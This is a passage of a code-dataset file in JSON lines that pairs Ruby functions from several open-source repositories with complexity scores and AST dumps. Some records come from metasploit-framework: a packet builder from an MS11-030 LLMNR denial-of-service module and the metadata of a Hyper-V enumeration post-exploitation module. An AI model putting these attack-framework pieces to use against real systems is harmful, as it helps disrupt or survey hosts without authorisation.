"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.user.description\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"follow_count_daily\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"int\",\"children\":[500]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.follow.title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.follow.description\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reaction_creation\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.reaction.title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.reaction.description\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"feedback_message_creation\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.feedback.title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.feedback.description\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comment_creation\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"int\",\"children\":[9]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.comment.title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.comment.description\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comment_antispam_creation\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.comment_antispam.title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RateLimitCheckerHelper\"]},\"new_user_message\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.thing.comments\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mention_creation\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.mention.title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.mention.description\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization_creation\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.organization.title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.organization.description\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_subscription_creation\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.subscription.title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.subscription.description\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email_recipient\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.recipient.title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.recipient.description\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"send_email_confirmation\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.confirmation.title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.confirmation.description\"]}]}]}]}]}]}]}","id":"591ae5cb-422e-4082-aed1-a383822d1e81"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http_server.rb","start_line":598,"raw_source":"def send_redirect(cli, location='/', body='', headers = {})\n    response = create_response(302, 'Moved')\n    response['Content-Type'] = 'text/html'\n    response['Location'] = location\n    response.body = body.to_s.unpack(\"C*\").pack(\"C*\")\n    headers.each_pair { |k,v| response[k] = v }\n\n    cli.send_response(response)\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send_redirect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"optarg\",\"children\":[\"location\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"optarg\",\"children\":[\"body\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"optarg\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"create_response\",{\"type\":\"int\",\"children\":[302]},{\"type\":\"str\",\"children\":[\"Moved\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Location\"]},{\"type\":\"lvar\",\"children\":[\"location\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"to_s\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"C*\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send_response\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"f114fd85-b038-42ff-b90b-0f71f8815f30"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/enum_hyperv_vms.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Windows Hyper-V VM Enumeration',\n        'Description' => %q{\n          This module will check if the target machine is a Hyper-V host and, if it is, will return a list of all\n          of the VMs running on the host, as well as stats such as their state, version, CPU Usage, uptime, and status.\n        },\n        'License' => MSF_LICENSE,\n        'Platform' => ['win'],\n        'SessionTypes' => ['meterpreter'],\n        'Author' => [\n          'gwillcox-r7' # Metasploit post module\n        ],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [],\n          'SideEffects' => []\n        }\n      )\n      )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Hyper-V VM Enumeration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will check if the target machine is a Hyper-V host and, if it is, will return a list of all\\n\"]},{\"type\":\"str\",\"children\":[\"          of the VMs running on the host, as well as stats such as their state, version, CPU Usage, uptime, and status.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"gwillcox-r7\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]}","id":"ed332246-952a-4f0a-a0d0-e473daa869be"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/context_builder.rb","start_line":320,"raw_source":"def process_if(exp, _parent)\n      children = exp.children\n      increase_statement_count_by(children[1])\n      increase_statement_count_by(children[2])\n      decrease_statement_count\n      process(exp)\n    end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"process_if\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]},{\"type\":\"arg\",\"children\":[\"_parent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"children\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"children\"]}]},{\"type\":\"send\",\"children\":[null,\"increase_statement_count_by\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"increase_statement_count_by\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[null,\"decrease_statement_count\"]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]}]}","id":"f4355575-3a08-46b3-aa0c-3164fbbb12e8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/bulk_services/project_mappings/mapping_context.rb","start_line":52,"raw_source":"def mapping_attributes_for_all_projects(extra_attributes)\n        project_ids_to_map.map do |project_id|\n          {\n            project_id:,\n            model_foreign_key_id => model.id\n          }.merge(extra_attributes)\n        end\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"mapping_attributes_for_all_projects\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"extra_attributes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_ids_to_map\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_foreign_key_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"id\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"extra_attributes\"]}]}]}]}","id":"c332dbed-c191-4749-bf3f-6728b1fa572d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb","start_line":48,"raw_source":"def make_query(str)\n    pkt = ''\n\n    # id\n    pkt << [rand(65535)].pack('n')\n\n    # flags\n    pkt << [\n      (\n            '0' +     # qr\n            '0000' +  # opcode\n            '0' +     # conflict\n            '0' +     # truncation\n            '0' +     # tentative\n            '0000' +  # zero (reserved)\n            '0000'    # rcode\n          )\n    ].pack('B16')\n\n    # counts\n    pkt << [1, 0, 0, 0].pack('n*')\n\n    if str[0, 1] == '.'\n      pkt << [str.length].pack('C')\n    end\n    pkt << str + \"\\x00\"\n\n    # type / class (PTR/IN)\n    pkt << [0x0c, 0x01].pack('n*')\n\n    pkt\n  end","complexity_score":33.7,"ast_json":"{\"type\":\"def\",\"children\":[\"make_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[65535]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"0\"]},\"+\",{\"type\":\"str\",\"children\":[\"0000\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"0\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"0\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"0\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"0000\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"0000\"]}]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"B16\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n*\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]},\"==\",{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[1]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n*\"]}]}]},{\"type\":\"lvar\",\"children\":[\"pkt\"]}]}]}","id":"45015f74-197a-4fa1-859d-98c55ff903fe"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vim_performance_analysis.rb","start_line":332,"raw_source":"def self.find_child_perf_for_time_period(obj, interval_name, options = {})\n    ext_options = options[:ext_options] || {}\n    rel = Metric::Helper.find_for_interval_name(interval_name, ext_options[:time_profile] || ext_options[:tz],\n                                                ext_options[:class])\n    case obj\n    when MiqEnterprise, MiqRegion\n      rel = rel.where(:resource => obj.storages).or(rel.where(:resource => obj.ext_management_systems))\n    when Host\n      rel = rel.where(:parent_host_id => obj.id)\n    when EmsCluster\n      rel = rel.where(:parent_ems_cluster_id => obj.id)\n    when Storage\n      rel = rel.where(:parent_storage_id => obj.id)\n    when ExtManagementSystem\n      rel = rel.where(:parent_ems_id => obj.id).where(:resource_type => %w[Host EmsCluster])\n    else\n      raise _(\"unknown object type: %{class}\") % {:class => obj.class}\n    end\n\n    rel.where(options[:conditions]).select(options[:select])\n       .where(:timestamp => Metric::Helper.time_range_from_hash(options)).to_a\n  end","complexity_score":58.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_child_perf_for_time_period\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]},{\"type\":\"arg\",\"children\":[\"interval_name\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ext_options\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ext_options\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rel\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"Helper\"]},\"find_for_interval_name\",{\"type\":\"lvar\",\"children\":[\"interval_name\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"time_profile\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tz\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"class\"]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqEnterprise\"]},{\"type\":\"const\",\"children\":[null,\"MiqRegion\"]},{\"type\":\"lvasgn\",\"children\":[\"rel\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rel\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"storages\"]}]}]}]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rel\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"ext_management_systems\"]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Host\"]},{\"type\":\"lvasgn\",\"children\":[\"rel\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rel\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_host_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"id\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmsCluster\"]},{\"type\":\"lvasgn\",\"children\":[\"rel\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rel\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_ems_cluster_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"id\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storage\"]},{\"type\":\"lvasgn\",\"children\":[\"rel\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rel\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_storage_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"id\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExtManagementSystem\"]},{\"type\":\"lvasgn\",\"children\":[\"rel\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rel\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_ems_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"id\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_type\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Host\"]},{\"type\":\"str\",\"children\":[\"EmsCluster\"]}]}]}]}]}